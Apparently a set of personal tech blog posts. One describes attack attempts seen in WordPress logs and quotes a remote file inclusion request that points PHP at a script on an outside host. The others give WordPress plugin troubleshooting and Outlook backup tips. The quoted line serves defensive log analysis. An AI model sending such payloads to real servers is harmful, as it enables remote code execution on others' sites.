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Since deploying a number of WordPress sites I have noticed a number of attempted attacks targetted against PHP. While the majority of these attempts are childlike and fail there still exist the possibility that these fruitless attempts are merely feelers designed to test the security of the system.
One of the more common attempts take the form of
_SERVER[DOCUMENT_ROOT]=http://aboutav.com//o/id1.txt???
which appears to be an attempt to change a system level variable in order to run the php script contained in the supplied URL. You can view this script by plugging the URL into your browser.
Our logs indicate that these attempts result in 301 redirects to the home page or result in a 404 error. Although these attempts appear to be harmless I am obviously not too happy about them so I am actively monitoring these requests for inclusion in our Apache global deny configuration file. For your convenience I have enumerated the offending IPs in this post.
While these are just of few of the offending IPs, our quest to identify and eliminate them continues.
On occasion upgrading a WordPress plugin can cause trouble, notably the white screen of death. When this happens the fastest way to solve the problem is to disable all the plugins.
To do this, load up the WordPress database and locate the options table. Find the active_plugins record, record the contents, and then clear out the record.
Your WordPress site should display once again, minus your plugins. Now you can re-enable your plugins and diagnose why the misbehaving plugin screwed with ya. A quick link to this issue is at http://perishablepress.com/press/2008/02/18/quickly-disable-or-enable-all-wordpress-plugins-via-the-database/.
We all know that we should backup our critical files on a regular basis, but quite often, like regular exercise, we fail to do so. If your Windows pc is on a regular backup schedule which includes your “Users” folder under Windows 7 or your “Documents and Settings” folder under Windows XP you should be in great shape as your Outlook files are usually located in these folders.
If your back regime is not quite so robust you can add an Outlook back up tool that will run automatically. The link for this tool can be found at http://support.microsoft.com/kb/238782.
A useful how to can be found at http://www.howto-outlook.com/faq/backupaddin.htm.
While there are various posts complaining about installation problems there are really only two things you need to know. First, you need to run the install logged in as the the Outlook user and with admin privileges, “run as” is helpful. Two, if you use “run as” you will need to manually add the plugin to outlook. This can be done by locating the add-ins section of the trust center and manually locating the plugin to add it.
You’ll know when you are successful when you see the “backup” menu item under your “files” menu option. Just setup the options and you should be ready to go. Your Outlook files will be backed up on the schedule you select after you exit Outlook on the scheduled day.
